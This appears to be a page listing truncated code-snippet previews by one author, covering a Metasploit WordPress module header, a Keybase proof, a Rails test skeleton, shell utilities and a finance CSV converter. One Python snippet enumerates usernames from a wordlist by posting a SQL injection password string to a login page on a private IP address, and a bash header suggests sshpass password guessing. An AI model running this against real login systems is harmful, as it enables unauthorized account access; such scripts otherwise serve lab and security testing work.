rastating

##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'csv'

class Metasploit3 < Msf::Auxiliary
  include Msf::HTTP::Wordpress

rastating

import requests

url = 'http://static.rastating.com/msf/export.php'
r = requests.get(url)

print r.text

rastating

Keybase proof

I hereby claim:

• I am rastating on github.
• I am rastating (https://keybase.io/rastating) on keybase.
• I have a public key whose fingerprint is 2638 6FDF 3A96 64F6 6D07 F200 858C 07BC BD4F 9010

To claim this, I am signing this object:

rastating

# This is a skeleton for testing models including examples of validations, callbacks,
# scopes, instance & class methods, associations, and more.
# Pick and choose what you want, as all models don't NEED to be tested at this depth.
#
# I'm always eager to hear new tips & suggestions as I'm still new to testing,
# so if you have any, please share!
#
# @kyletcarlson
#
# This skeleton also assumes you're using the following gems: 

rastating

Why?

There is a long standing issue in Ruby where the net/http library by default does not check the validity of an SSL certificate during a TLS handshake. Rather than deal with the underlying problem (a missing certificate authority, a self-signed certificate, etc.) one tends to see bad hacks everywhere. This can lead to problems down the road.

From what I can see the OpenSSL library that Rails Installer delivers has no certificate authorities defined. So, let's go fetch some from the curl website. And since this is for ruby, why don't we download and install the file with a ruby script?

Installation

The Ruby Way! (Fun)

rastating

#!/bin/bash
#
# sshpass return values:
#   0 - password OK
#   3 - general runtime error
#   5 - bad password
#   255 - connection refused


declare -r START_TIME=$(date +%s.%N)   # Start time of the program

rastating

#!/bin/bash

if [ "$#" -ne 2 ]
then
  echo "Usage: sha1check [filename] [checksum]"
  exit 1
fi

echo "$2 *$1" | sha1sum -c -

rastating

import requests
import sys

with open(sys.argv[1], 'r') as f:
  for line in f:
    sys.stdout.write("Trying username: %s                                  \r" % line.strip())
    sys.stdout.flush()
    r = requests.post("http://10.2.0.104/checklogin.php", data={ 'myusername' : line.strip(), 'mypassword' : "'or'a'='a", 'Submit' : 'Login' }, allow_redirects=True)
    if r.text.find("Oups, something went wrong") == -1:
      print "++ Found user %s ++" % line.strip()

rastating

# MySQL dump of OpenDocMan
#
#--------------------------------------------------------

#
# Table structure for table 'odm_access_log'
#

CREATE TABLE `odm_access_log` (
  `file_id` int(11) NOT NULL,

rastating

from dateutil.parser import parse
import pandas as pd
import csv
import sys

if len(sys.argv) == 1:
    print "Usage: monzo_to_qbo.py [path to Monzo csv export]"
    exit(1)

RED   = "\033[1;31m"